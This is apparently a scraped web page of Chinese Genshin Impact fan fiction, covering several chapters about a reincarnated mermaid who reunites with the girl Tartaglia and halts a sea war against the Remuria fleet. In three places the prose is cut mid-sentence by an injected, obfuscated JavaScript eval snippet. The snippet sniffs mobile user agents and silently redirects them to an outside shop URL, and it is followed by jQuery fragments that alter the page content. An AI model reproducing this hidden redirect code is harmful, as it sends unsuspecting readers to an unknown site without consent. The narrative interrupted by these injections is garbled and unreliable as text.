纯水骑士的年华 静原被海恶补了一番有关雷穆利亚王朝的故事,怀着沉重的心情清除了又一头座头鲸身上的藤壶,然后坐在海崖上发呆。 满天星子繁密,夜色温柔无边,风吹拂着他的发丝送来凉爽,此刻万籁俱寂。 这本该是个和从前别无二致的夜晚,直到身后响起海面波纹扰动,草叶被踩断的声音,静原才抬起头向后望去。香柏树林里踩动落叶,折断草径的响动越来越密集,直到人造光线从林子里透出来,静原才确定有人类来访。 之前不确定是因为林子里有不少野猪…… “塔塔利亚,你真的没有带错路吗?” “没有。这是十几年前的老房子了,一直没回来住过……” “有够偏啊,以前应该是个镇子。海水上涨后基本都被淹没了。” “后面的跟上,别掉队!” 静原默默的听着,但是并没有离开,就守着小木屋等那群人来。 他看到了一个有着亚麻色短发的姑娘,穿着灰扑扑的衣裳,脸上也是脏脏的,一身狼狈,带着身后一群灰头土脸的同伴走到了小木屋门前,然后迅速回头:“谁?谁在那里!” 静原只是往前挪了一下,没想到就被耳朵尖的姑娘听见了。原本略略有些嘈杂的队伍陡然静默,拿起武器警戒。 那姑娘往海崖的方向走了几步,手持长剑时刻警惕,她也没想到许久没回来的老房子外面还会有陌生的响动。 静原拍了拍尾巴,她看上去更严肃了。 托当初那维莱特盯着吃鱼油的福,静原的夜视能力相当厉害,可以清楚的看见女孩脸上的脏污,以及那双和记忆中一般的棕色眼睛。 对方显然也看到了不加任何掩饰的静原。 “怎么会是你?”塔塔利亚慢慢靠近了些,试探性询问,“你怎么会在这里……哥哥?” 她回忆起十几年前那个雨季,只有过短暂一天一夜相处的美丽深海生灵。 她的同伴们本来听到“哥哥”这个称呼还有些放松,看到静原下半身的尾巴后,惊愕的看向同伴:“塔塔利亚,你怎么有个人鱼哥哥?” “好了别插嘴,让他们好好说话。”有人拦住同伴,“只要不是那群魔像,人不人鱼无所谓。” 雷穆利亚王朝建立在海上,大海蕴藏着无穷无尽的奥妙,谁敢说真正了解过海洋? 出于一些考量,静原并没有回答塔塔利亚的话,他只是温柔的注视着这个已经长大了的孩子,再次感慨岁月的流逝如此残酷。 他已经能够理解人类国度所使用的语言了,所以能听懂塔塔利亚的话,但是对方不明白他的意思。 静原抬起手伸向塔塔利亚,对方有过迟疑,最后还是靠近了一些。 他弯曲指骨为这个孩子抹去了脸上的脏污,微微笑着,示意她在此处稍等。 “……哥哥?”塔塔利亚疑惑。 在人类的惊呼声中,蓝色的尾巴似乎点缀着珠光,在空中划过灵巧的弧度。静原一头扎进海中,不过几分钟,就将藏在洞窟的砗磲拖了起来,再次顺着海浪来到海崖上。 他不明白为什么当年的小女孩离开了爷爷,离开了海岛,离开了家,也不知道她为什么会带这么多人回到曾经的家。但是从她和她的伙伴身上不难看出经济的窘迫。 珍珠宝石摩拉对如今的静原并无意义,但是贵金属与珍贵宝石在哪个年代哪个国度都有一定价值。 塔塔利亚看向这位多年不见的深海人鱼,对方的容貌一如当年,他依旧是少年的模样。也对,深海的精灵怎会同凡人一般朝生暮死。 她的确需要这笔钱,虽然不知道人鱼从哪里获得,但是该保持沉默的时候就不应该发问。 塔塔利亚收下了:“谢谢你,哥哥……我还是这么称呼你……或者你有自己的名字吗?” 静原看了看她身后保持距离但耳朵高高竖起的同伴,轻声用那维莱特教他的语言回答:“我名为卡吕普迪斯。怎样称呼我都好,塔塔。” 他能听懂人类语言后,自然也就知晓了记忆中爷爷称呼孙女的名字,塔塔。 “……谢谢,已经很久没人这么叫我了。”塔塔利亚只觉得耳朵嗡鸣,自然而言理解了对方的意思,她低下头,很快又抬起来,扬起笑脸,“我给你做顿饭吧,顺手的事。我记得你能接受人类的食物?” 静原在塔塔利亚转身的时候又跳回海洋。 “嘿,塔塔利亚,那真是你哥哥?你也是人鱼变的?” “竟然真的有人鱼啊,我还以为那是幻想生物。” “塔塔利亚,这些人鱼的宝藏要如何处理?” 塔塔利亚深呼吸一口气:“首先,收拾好装备清理食材做饭,多做一份。其次,我不是人鱼,那位人鱼先生有自己的名字,【卡吕普迪斯】。最后,这些是卡吕普迪斯先生对我们反抗谐律的赞助金,谨此聊表心意。” 她不可避免的想起来孩提时期的无忧无虑,只能将其深埋于心底:“我们的事业还未结束,不要被意外夺去注意力。” 同伴们都明白她的意思。 静原大概能猜到塔塔和她的同伴们是因为什么逃回了曾经的家。因为要反抗雷穆利亚王朝黄金的旋律——他们不愿意被魔像视作蛮族践踏,也不愿成为魔像的一员。 如果至尊的雷穆斯的反抗真的有用,如果魔像听从黄金乐章【福波斯】的指引会带来福音,为什么四海尽是哀嚎?为什么反抗命运这种本该至高无上的荣光之下,浸润着生命的血泪? 这群年轻人正是为了反抗而生的,以纯水之名,对抗灵露与魔石的造物。 但是这些事情,静原都不在意。他从海里拖来两条极重的大鱼,丢到岸上,噼啪响声极大,引来巡守的年轻人关注。 静原确认塔塔安然无恙长大,又把鱼丢到岸上给这群年轻人算是加餐,就回到深海中去了。 他的报恩或许不会局限于物质的回馈,但是也不想让太多人知晓自己的存在。 生活在海下让他对于时间流逝的敏感度极其低下,也是想要找到塔塔和爷爷一家,才会频繁浮上海面。如今已经确认塔塔安好,爷爷应当是寿终正寝而亡,静原也是该回到深海休息了。 至于塔塔如今要做的事……静原并不打算了解。 海下浅水区依旧是暖色调的梦幻,深水区充斥着纯净的蓝。他落在海藻丛中,随意地歇下。 入睡前他还在想,远海的鲸群需要定期去清理附着在身上的藤壶,地下的原始胎海需要再去确认一遍封印无误,海洋很大,还有许多地方没有探索过,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326991|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应当四处看看走走,不能总在深水区待着…… 静原想到就去做,睡醒后也不在乎白天黑夜,朝着远海所在方向游去。因此当几日后塔塔利亚站在高崖四下眺望,想要再见一见那位只有过短暂交际的人鱼,只能无功而返,和休整好补充资源装备完毕的同伴们一起离开了这座小岛。 这里埋葬着她的爷爷,埋葬着她的童年。如果不是纯水的骑士们遭遇了黄金军团的埋伏,他们这只小队也不会与大军失散,需要找到曾经隐姓埋名生活的小岛休息。 塔塔利亚坐上船,最后看了一眼这座小岛。伟大的伊黎耶已经统一了各部族群岛,正式掀起反抗雷穆利亚的战争。她坚信暴政必定会被推翻,却无法确定自己是否还能回到爷爷墓碑前献上一束湖光铃兰。 深海之下,静原意外得知了龙嗣亲王的存在。 哦,也对啊。那维莱特是水龙王,在他诞生前统率龙裔的是亲王斯库拉啊。 记忆又清晰了一点,不过只有那么一丁点。像是一副巨大且琐碎的拼图遗失了关键的碎片,等待着他寻回。 被清理完身上藤壶的鲸鱼感激地发出清鸣,这类庞大的深海生物也拥有一部分龙裔的血脉,因此也归属龙的统治。 它们感受到了水之王的诞生,却仍旧敬爱那位庇护它们的亲王斯库拉。 静原对此态度只是摇摇尾巴,他记得这位亲王是死了来着? “不,斯库拉亲王活得好好的。请您不要这样说了,哪怕是受您恩惠如此之多,我也是要生气的。”这头生活了许久的鲸鱼温柔地说着,“亲王很好。” 静原点头,有点小尴尬。 活了许久的鲸鱼在海中缓缓转动着身体,藤壶祛除轻松了不少让它感到难得的舒适,不知不觉就想聊聊什么:“您知道岸上的黄金国度吗?那里生活的都是些奇怪的石头人。从前亲王总是约束我们,不要靠近那些不惧水的恩威的石头人,却经常往返于神的黄金宫殿。这可真是奇怪呢……” “是啊,真奇怪。”意识到有瓜可听的静原瞬间支棱起来了,转生这么久都没有谁能跟他讲讲八卦什么的,无聊得到处扣藤壶打发时间。 鲸鱼显然也很高兴能有智慧生命原因听它讲述这些其他同族都不感兴趣的事:“从前虽然疑惑,但我坚信这是亲王的计谋。不愧是统率我等龙裔的亲王……只有了解敌人,才能战胜敌人。” “就在您到来的昨日之前,亲王已经宣布带领我等进攻岸上的国度,那些小巧却能上岸的龙蜥会是主力军,而我等深海的生物也将击碎石头人那些号称无坚不摧统御四海的舰队……再一次感恩您,为我祛除了寄生的小东西们。我已经很久没有感受到轻盈了,想必在未来的战斗中,能为亲王贡献出我微薄的一份力量吧。” “愿亲王得胜归来,召见您,深海的漩涡之主。” 鲸鱼发出来悦耳空灵的欢呼,远方传来此起彼伏的同族应和。那是怎样的一幕啊,静原怔怔的注视着鲸鱼浮上水面喷出水花,鲸群齐聚,共同欢庆必定会到来的胜利。 我所游历的后世提瓦特,有提瓦特本土的鲸鱼吗? 静原突然想到了这个。 他无需思索就得到了答案:没有。 提瓦特没有本土的鲸群,那我看见的又是什么呢? 9. 鲸歌的回响 静原不太记得斯库拉亲王为什么要攻打雷穆利亚王朝了。但是在他固有的印象里,龙和神的关系本应是水火不容,偏偏结下了珍贵的友谊。 斯库拉亲王和雷穆斯会是这样吗? 静原浮出海面,看着黄昏时刻残阳如血泼撒,那坐落于大湖之上的黄金宫殿如同神造乐器一般,带着不可亵渎的威严。 静原是不会参与到这场龙裔亲王和神的战争中去的,只是那天魔龙伟岸身躯展示在天地之间,陆地上的龙蜥冲向试图谈判的王朝魔像士兵,海中的鲸群冲撞人类征伐四海的舰队。 到处都是喷洒的猩红,到处都是血泪的哀嚎。以灵露为血,魔石为身的雷穆利亚公民不惧水溶解一切的诅咒,不惧敌人的生命威胁,手持长剑和着黄金乐章【福波斯】而战,誓为守护帝国,连死亡也不能磨损他们的意志。 明明感知到王已经诞生,依旧义无反顾响应亲王号召,将利爪与尖牙对准陆地上的人类……龙蜥凶残好斗是天性,它们不会思考事情本身的对错,头脑中只有忠诚与厮杀。 人类的舰队扬帆而起,钢铁的利刃扎进鲸群柔韧的皮肤,原本深蓝的海水被染红。 静原睁大眼睛注视着一切,直至最后甚至没办法分辨出哪里才是红以外的色彩了。 我有资格叫停这一场战争吗? 很遗憾,我并没有这样的资格与这般实力。我只能作为旁观者看着,明善其身。 那我真的要什么都不做吗?任由人类与龙裔的鲜血染红大海与陆地? “够了。”他看着人类的舰队碾上了鲸鱼被划破的伤口,如同大地的沟壑一般,血流干之后露出了白色的脂肪。鲜血浸染了海,仿佛生灵的屠宰场。 “够了。”他看向巨鲸义无反顾撞破人类的船只,沉重的魔像只能不甘的被海水吞没。魔像的肉身不会腐朽,魔像的灵魂不会泯灭,但是他们也无法再从深海回到陆地,回到帝国中去。远离了乐章的谐律,从此只能化为海底寂静的石像,清醒着永世不忘。 “我说,够了!” 海会回应祂的孩子的一切要求,无论是漩涡,还是海浪,具听从他的号令。高耸的浪只是顷刻便酝酿完毕,直接一巴掌掀翻了海上舰队最前线的船,连人带船全部葬送在海的咆哮中。深海的漩涡将中部船队打散分裂,使得雷穆利亚王朝坚不可摧的海上舰队不得已各自为战,深陷于漩涡之中无法脱身。 逃离了围剿的鲸还想回头撞,但是在洋流与漩涡的裹挟下不得不远离此处猩红屠场。 “漩涡的主宰啊,为何保护我等,又要阻止我等。” 静原被气红了眼睛,海域宽广,风将他的话语送到在场每一个生灵耳畔:“陆地上的事我无权过问,但这是海。无论是鲸群袭击人类,还是人类围剿鲸群,都是被禁止的行为。从前无人说,那现在便由我来说。” “此地禁止屠杀。即是是各族的王,也要遵守海的规则。” 鲸群对船只的冲撞和人类对鲸鱼的围剿是同时进行的,这次静原的处理就是明摆着的两边都有错各打五十大板。 个体怎么看待生命是人家自己的事,但是这种两族的恶意倾轧就是二臂行为。鲜血染红大海,腥臭得不得了,灵魂的哀嚎余音缭绕——难道你们都以为海是没有脾气的吗? 你们听不到海洋的愤怒,我听得到!傻蛋!谁会乐意自己家变坟场和屠宰场!自己一股脑往上扎的时候怎么没想到海会被不甘的怨愤污染? 静原给身后的鲸群好一顿臭骂。 船上有人类高呼:“魔龙斯库拉率领龙裔攻击我们的国家,为了守护帝国而驱逐它们,将践踏帝国威严的蛮族夷平,此即为我等的使命!” 静原对此只是冷笑:“再重申一遍,陆地上事情与海无关,人类的征伐与战争也不应该蔓延至海。此次念在鲸群也有过错,我才没有驱逐你们这些将灵魂容纳在魔石中的异族。若不满我的决定,那就留下来吧。” 哪怕他曾为人类,也对人类这个种群没有多么美好的印象。他承认会让他感觉“世界真美好”的大有人在,但是他厌恶战争,厌恶自诩高贵而对其他种族的征伐践踏。人类会为了集群的利益而战,他万分理解,不代表他就会永远维护人的利益。 尤其这辈子他是被海扶养长大,由那维莱特悉心教导的。对于如今的静原来说,人类给予过他温暖,但原始胎海是他的生母,枫丹海是他的养母,那维莱特是他的老师和引路人。无论如何,维护水族的利益才是第一位。 是的,他现在开始拉偏架了。 即使很多生命无法理解将海视为生理意义上的母亲这个行为,但对于静原这种人鱼来说,海就是母亲,就是他如今的家。 哪怕他吃不惯家里母亲的饭,也不愿意看到家里被泼撒鲜血,响彻哀嚎成为屠宰场。 就是这么严重。 黄金帝国的铁甲军看着那位用尾巴立于高耸海浪上的少年,对方哪怕上半身是蛮族的模样,下半身却是货真价实的水族尾巴。 那是什么?是代替海发话的生命吗?是海的神明吗? 但是这些在帝国面前都不重要,在至尊的雷穆斯王面前都不重要。【福波斯】的至福之乐引导着他们,从出生到死亡,从温床到坟墓。 黄金乐章的旋律随着振弦管道流淌,【福波斯】说——碾碎它们,碾碎这些未经开化的蛮族。 于是黄金帝国的舰队马力全开,义无反顾投身旋流涡转的暗色之海。 很好,一点都不意外。 静原真是被气笑了,他有善心,有良心,有耐心,但是都不多。如果对方拒绝,那他也不勉强。 他从前不是什么很好的人,今生也不是什么很好的鱼。 漩涡吸住舰队,一层更比一层高的汹涌巨浪迎头拍下,一次不行就再来一次,直到最后,坚不可摧的舰队被碾压粉碎,魔像怀着不甘与怨愤沉入深海,海下强势的洋流裹挟着他们远离温软的海床,去往海下的洞穴,然后三三两两分散开来。 远离了【福波斯】,又没有调律师,再强硬的魔像也无法掀起风浪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326992|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 静原操控旋流处理完海洋中的“垃圾”,面向了这群曾被他亲力亲为处理过寄生藤壶的鲸鱼。 “亲王是怎么想到让你们这群无法上岸的鲸鱼袭击人类的?”静原开始审讯,“上次跟我聊天的那头鲸鱼呢?出来!” 底下一片死寂,直到一头年纪最小的鲸鱼怯怯开口:“如果您是指昨天的老迪福洛叔叔……他是最先被石头怪人杀死的。” 啊,是啊,他已经死了。 静原愣在了当场,说实话,如果鲸鱼不说话的话,他很难单凭外表辨认他们每一个,何况他和老迪福洛认识的时间太短暂了。 但是这种哀伤的情绪转瞬即逝,他抬起眼来,注视着前面一点的鲸鱼:“你应当是族群中最年长的,你来说。” “斯库拉亲王的确说过,他要率领龙裔去颠覆雷穆利亚的统治,亲自攻破雅努斯之门……我等身上的龙族血脉虽不如龙蜥纯粹,却也是货真价实的龙裔。响应亲王的号召,是我等的使命。” 静原冷笑一声,哦,那维莱特不知道跑哪去了,没有在你们面前露面,你们自然是听亲王的,这个我认同。但是依旧愚蠢。 雷穆利亚王朝位于陆地,而你们,我愚蠢的海族同胞,你们就算是一蹦三尺高也无法撼动陆地王朝的地基。斯库拉亲王或许想到了让你们拉长魔像军团的海上作战防线,拖延兵力回转支援帝国,但绝对没有说过让你们往人类刀子底下钻,上赶着送人头。 “活的太久想给自己找点事做是吧,行。”静原手往远海一指,“都给我滚到北海老家养孩子,旁边的林岛是龙蜥栖息地,守着那边不要让人类靠近。” 有鲸鱼弱弱张口:“可是亲王的大业……” “不管亲王是成功还是失败,这个世界的人类不会永远绝种。他们或许复辟不了王朝,找你们麻烦还是轻而易举。不想越来越多龙裔死在人类的刀剑下,都给我回去守着家门。” 没有鲸鱼敢质疑静原的话,垂头丧气调头回北边的远海去了。北边是鲸群和龙蜥的繁衍地,对族群来说至关重要,被人类偷家的话,那真是一偷一个准,都不带落空的。 浅海区是海洋小生命的摇篮,北方的海原则是鲸群等大型生物的温床,龙蜥久居气候宜人水草丰美的林岛——这三个地区都是静原往后要重点关照的。 他如今更多的还是在浅海区游动,就是因为小生命更加脆弱,虽然是海洋生物链的底端,但绝对不容忽视。 真是不发飙不知道,拍人类舰队跟拍煎饼果子里的薄脆似的,一拍一个响,嫌不够碎那就多加一巴掌。 静原没头没脑的想着,看到那些如同被红墨水污染的海域,原地抱头抓狂。 虽然海洋有自净能力,但是这么多鲸鱼鲜血真的很腥很臭啊啊啊,而且魔像人的灵露真的——不溶于水,难得搞啊!!! 谁的家里死了人鲜血溅了一地一墙能不膈应的? 身为海洋清道夫,家务承担者的静原恨不得把那群鲸鱼和魔像拉回来再扇几巴掌,才能狠狠解气。 10. 乐曲的终末 静原被赋予【卡吕普迪斯】之名后,就算是彻底掌握了自己的力量,也被海洋的众生承认。 鲸群不再参与对雷穆利亚王朝的攻击,转头回去守卫繁殖地。岸上的龙蜥却没有退下来,和黄金帝国的魔像战斗至最后一刻。静原上不了岸,拉不住,根本拉不住。 也不知是出了什么问题,南方庞大的金色宫殿与碧绿庄园就伴随着地动一起沉入海下。或者说,应当是地壳运动导致海水上涨,淹没了这个辉煌的国度,终结了这个庞大的王朝。 静原注视着雷穆利亚王朝的殿堂连同山脉、庄园一同陷落,明明知道这是天上的惩罚,却一直不敢抬头往上看。 不能抬头——他无比清晰的认识到这是理智的告诫,你会引起注意的。 雷穆利亚的王……是为了反抗命运才将子民制造为魔像。其中种种他不想复述,但是无论如何,反抗命运的意志是珍贵的,他的国家为四海带来的灾难也是真切的。 命运真是会玩弄生命。 静原沉入海中,遥望南方的深蓝,并不打算现在就贸然的去打探帝国沉没的真相。 有时候无知才会幸福,知晓的秘密越多,带来的灾难也就越恐怖——静原深知这一点,遏制了自己的好奇心。 天理前脚埋完,他这小喽啰后脚就去挖坟,这不上赶着找打吗? 该怂就怂的静原决定去把残存的龙蜥接回来,送回栖息地保护。 静原这边忙着跟失去与亲王联系的龙蜥们打岔,那边,为反抗雷穆利亚暴政而成立的纯水骑士们陷入了怀疑之中。 怎么好好的,这个一生之敌就自己沉海了? 他们还没使出全力,这群魔像连带着帝国就都沉海了?闹着玩呢? 塔塔利亚也是众多茫然纯水骑士的一员,她下意识看向他们的领袖伊黎耶,对方坚毅的目光依旧注视着远方,曾经的雷穆利亚黄金宫殿。 伊黎耶说:“纯水的勇士们,雷穆利亚已经由神明毁灭,可是这个庞大帝国遗留的诸多罪行与残虐还需要我们去清除,大地的疮痍,四海的硝烟……一切为了纯水。” 这位伟大的领袖这样说着,何尝不是在给自己鼓劲。她和族人们一样失去了复仇的目标……不能沉沦在失去亲人的悲伤中,不能再次遭遇那样的痛苦。 她需要做些什么,她必须做些什么。 塔塔利亚和众多的伙伴虔诚的看向他们的领袖,伊黎耶不负众望,给出了不日后颁布行动指南的承诺。 伊黎耶并不愿意做统率四海的王,也并不认为自己是领袖,她自称是听到了纯水的召唤……族人相信她,所以她义无反顾站了出来。 她再一次听到了纯水的呼唤,纯水精灵告诉她,若能找到纯水之杯,便能让族人永远不再遭遇痛苦和折磨。 精灵在她耳畔柔声细语,伊黎耶被说动了。于是她向族人宣告了这个决定,毅然决然的踏上了寻找纯水之杯的路途。留在故乡修生养息的族人和众多追随者相信他们的伟大领袖一定可以找到那个据说可以实现一切心愿的纯水之杯。 塔塔利亚也相信这一点。 静原觉得这个世界上不存在能够实现一切心愿的道具。 龙蜥繁衍生息的林岛突然出现了纯水的精灵的足迹,静原和那只纯水精灵彼此有意结识交好,聊了不少。 纯水精灵告诉他,传说中的纯水之杯便是能够实现一切心愿的圣器。 静原本来只是当故事听,听到这里忍不住反驳:“这话说得就不严谨。实现一切心愿,它靠什么实现心愿?靠杯子里盛着的纯水?” 纯水精灵看着这条泡在浅水池子里给浑身是泥的幼年水龙蜥强行洗澡的人鱼,洗得嗷嗷叫,默默远离了这脏兮兮的二位:“水能幻化万物,自然也能创造不可能之物。无论许下的是什么心愿,水都能实现。” “你年纪小我不跟你争,别拿这套言论忽悠其他生物。不是谁都像你们纯水精灵这样好忽悠的。”静原终于把这头在淤泥里乱打滚的幼年水龙蜥洗干净,放走后只能看到对方无情逃走的尾巴影子。 纯水精灵将水中泥沙沉淀,使得水再次澄澈——这还是个小洁癖。 “我无意说服你,来自深海的人鱼,如果你不愿意听我讲述纯水精灵的故事,那我们可以聊聊别的。” “你想聊什么。” “你可曾见过众水之主?” 谁?龙王吗? 静原在思考要不要告诉她那维莱特的消息。但是纯水精灵已经率先开口:“众水的女主人隐藏于深海,那不是纯水精灵所能涉及到地方……但我依然想见见她。” 哦,我明白了。是厄歌莉娅,这个时候她是魔神吗?好像还是天理给胎海弄的神造心脏……那维莱特诞生后,厄歌莉娅的地位就很尴尬了。 算算时间……她也要获得魔神的权职了。 静原在水中翻了个身:“我诞生至今,未曾感受到她的召唤。” “就连你也没能感知到众水的女主人吗……”纯水精灵很是失落,“我原本以为你在海中居住,应当比栖息与湖泊河流的我们更加亲近她。” “想多了。我不属于她那一派。”静原阻止纯水精灵猜测,“陆地上的雷穆利亚王朝已经倾覆,天空岛会派新的魔神来统治这片土地的。你不妨先思考要如何应对未来吧。”其实就是厄歌莉娅,但他不会明说。 他没再管纯水精灵,顺着通海的河流回了家。这片林区的龙蜥已经聪明的选择缩居深处,以此躲避雷穆利亚遗民的疯狂报复。静原原本是打算在此居住一段时间的等待这一批年幼的龙蜥成年,但是意外得知这里的中心湖区搬来了一只纯水精灵长居后,已经放下心了。 纯水精灵很看重栖息地,如果不是实在打不过,不到万不得已不会离开家园。这片林区中心湖区的水相当澄净,垂柳如同海的丝绦。她说她第一眼就看中了这片地区,决意在此久居。 静原是为了龙蜥和她交流商议的。纯水精灵对于水的同族都相当宽容,许诺龙蜥的饮水洗澡她都不会阻拦,只要不是恶意污染水,她愿意和龙蜥和平共处。 这可真是个好邻居。 静原又对那些龙蜥细细叮嘱许久,最终以把龙蜥头领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326993|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴揍一顿打服了为结局。 他好像越来越不喜欢讲道理了……嗯,这不是他的问题。谁让龙蜥不擅长思考,只用拳头说话。 他这是入乡随俗多管闲事,但是用拳头说话真是爽啊。 静原在蔚蓝如同天空般的海洋中游动,白色尾鳍看上去如同轻纱一样柔软,实际上尾鳍扫过的地方,哪怕是坚硬的岩石也能如刀切豆腐般一分为二。 他对此并没有多么深刻的认知,但是海洋生物的直觉告诉它们远离这头人鱼才是正道。 目前海里都很安稳,静原没什么事做了,成天躺在粉色砗磲做的贝壳床里睡大觉。 厄歌莉娅找上门的时候,他已经躺了将近半个月。吃饭也只是一天吃一顿,往嘴里塞点周围的汐澡海草就算完了。没有天敌,也不会有不长眼的来撩拨他睡觉——新鲜出炉的魔神厄歌莉娅除外。 她终于离开了地下深处的原始胎海,即将顺着海洋去往陆地,引导这批人类归顺天空岛的统治——静原那一瞬间想了很多,还没等他理清自己都想了什么后,那位蓝白发的魔神就贴近了一些。 给静原吓得直后退。 “卡吕普迪斯……是吗?”她微笑着说,“我是厄歌莉娅,此地新诞生的魔神。你愿意和我一起走,去岸上建立一个新的国度吗?” “啊?” 静原一张嘴就是一串细密的气泡,这是新老板来挖墙脚? 工资多少?有五险一金吗?总公司老板天理会不会因为我知道的机密太多然后把我做掉?你死了以后继承人要把公司砸没我又要领什么饭碗? 静原浑身上下写满了拒绝:“不愿意。我并不信仰神明。” 这个公司进不得,至少现在进不得。那维莱特未来上了枫丹这艘贼船,他倒是愿意跟着进去混口饭吃。 但现在进厄歌莉娅队伍结局就是大写的“死”字。静原不怎么特别热爱生活,但也不想莫名其妙就死了。 厄歌莉娅这样做无非是知道他在海洋有一定威慑力,说句大话,有静原归顺的话,厄歌莉娅在海洋方面要做的工作仅仅只是不干扰,顺其自然。因为静原会自发的维护海洋利益,也会阻止龙蜥一族对新生政权的打击报复。 厄歌莉娅听到了他的答案,一点都不意外,笑了笑,那笑容如同海上泡沫一般易碎:“我知道了,卡吕普迪斯……不用这样戒备我,我是看着你诞生的,不用害怕我。” 您还负责接生啊? 静原愣了一下,随即想到自己是从原始胎海中诞生出来的物种。厄歌莉娅充当胎海心脏的时间已经不可考,但是看着他出生这个可能性还是很大的。静原并不怀疑这一点。 那我算保护动物吗? 厄歌莉娅微微惊讶,然后笑着回答:“你是提瓦特第一条人身鱼尾的生物呢,我不知晓原始胎海日后是否还会孕育如你这般的新生命。但是目前为止,你是世界上唯一一条卡吕普迪斯,我想保护你是必要的。” 静原:“名字已经用来给种族命名了是吗……好好好,果然如此。” 也是混上保护动物这口饭了。 11. 万水之国的诞生 厄歌莉娅应该算是一位很好说话的魔神吧。 静原拒绝了她的招揽,但也承诺不会主动惹麻烦。 “陆地上的事与我无关。”静原双手抱胸,“我无意挑起纷争,也不愿意加入魔神的阵营。” 厄歌莉娅点头:“我明白你的意思,那么……希望我的孩子们能与海和平共处。” 她一袭白裙,离开海的时候回头看了一眼沉默的静原:“卡吕普迪斯,我永远欢迎你到岸上来,加入人类的国度。” 静原不理解厄歌莉娅怎么对他有这么高的信任和好感,但不妨碍他点头致意,目送魔神离去。 往后的日子与从前也没有多大区别,他偶尔会到海岸边坐坐,鸥鸟与海浪都会告诉他有关新诞生的国度的一切。 魔神厄歌莉娅引领人类在众水之上建立新的国度枫丹;枫丹与雷穆利亚遗民摩擦不断;纯水骑士仍旧在寻找纯水之杯;越来越多的纯水精灵栖息于湖泊山泽河流;雷穆利亚遗民成立黄金剧团,企图复辟昔日荣光;同样出身雷穆利亚的另一支遗民专门建立了组织猎杀黄金剧团,被尊称为黄金猎人;黄金猎人后来正式更名为逐影猎人…… 静原慢慢拼凑出这个世界版图的一块,遥望西北方向的枫丹廷,叹了口气。他的记忆仍旧被蒙上层层叠叠的雾与纱,偶尔觅得一点灵光,却又转瞬即逝。 好像已经很久没有见过那维莱特了,他去了哪里呢? 静原看着海面上偶尔行过的帆船,到后来,越来越多的船只穿梭而过。 人类的发展太快了。 静原钝钝的想着,当初还想找到那几只海獭的,这么多时日过去也没有结果。 那么我之前见过的那个孩子呢? 他第二次萌生出去找找那个人类女孩的想法。 静原再次回到了那个山崖上,这一次比过去上岸都要容易,因为海水每年都在上涨。 已经是深秋了啊。层林尽染,绿与黄的主色调渲染着,微黄草地上的小野花没有多少开着了。 松塔掉落在地,啪嗒啪嗒,松鼠和鸟雀在荒野林外蹦哒,小木屋墙壁上的攀爬植物已经枯败。 他看见一个妇人穿着格子围裙从屋里走出来,拿着水壶去屋子侧边的田地浇水。 栗色与银白掺杂的短发,碎花的小头巾在夕阳光亮下似乎由金线编织,身子微微佝偻,脚步却很稳当。 她和记忆中那个幼年纯真,青年坚毅的女孩不一样,但静原莫名就是知道她是那个孩子。 这是他们第三次见面。 她依旧察觉到了身后的动静,扭头望过来,柔和的栗色眼睛如同盛着琥珀美酒。 “哥哥?”她依旧这样呼唤着,亦如幼年那般。 那天日落时分,太阳金色的余晖照射在静原苍白的皮肤上,竟让他生出灼热的暖意。塔塔利亚逆着光走来,微笑着说:“好久不见,哥哥,你还是和以前一样呢。” 她孩童时期,少年模样的人鱼自然当得一句哥哥。她青年时期,少年模样的人鱼勉强称得一句哥哥。她中年时期,少年模样的人鱼再被喊哥哥就有点奇怪了。 但是他们谁都不在意。 静原眼中倒影出的还是那个跟在爷爷身后的小萝卜姑娘,他侧坐在海崖上,仰着头看向塔塔利亚:“你正在老去,塔塔。” “我知道,我知道的,哥哥。”塔塔利亚提起裙摆,坐在了草甸上,坐在了人鱼身旁,“年轻时透支了身体,如今只是四十出头,已经像个六十岁老太太了。” “哥哥啊,你一点都没有变化啊。这样也很好,无论怎样,我都能一眼认出你。”她轻轻叹气,然后又笑起来,“你是陪我最久的人了。” 爸爸死了,爷爷死了,同胞死了,首领不知所踪,她原本以为不会有回来给爷爷扫墓的机会了,没想到最后还是回到了这个她出生的小木屋,一个人生活。 有时候她会不自觉的看向这处海崖,总觉得那次夜晚的美丽人鱼像是一场如同月光般旖旎清冷的梦。 静原能嗅到她身上的干草气息:“我想起了你,所以我来了这里。” “是这样啊……”她笑着,“上次你还没有吃到我们煮的饭就不见了,这次要不要尝尝我熏的肉?” 静原摇摇头:“我过一会就要离开,不用了。” “那就,再听我说说话吧,哥哥……”她叹息着,“一个人还是太寂寞了。” 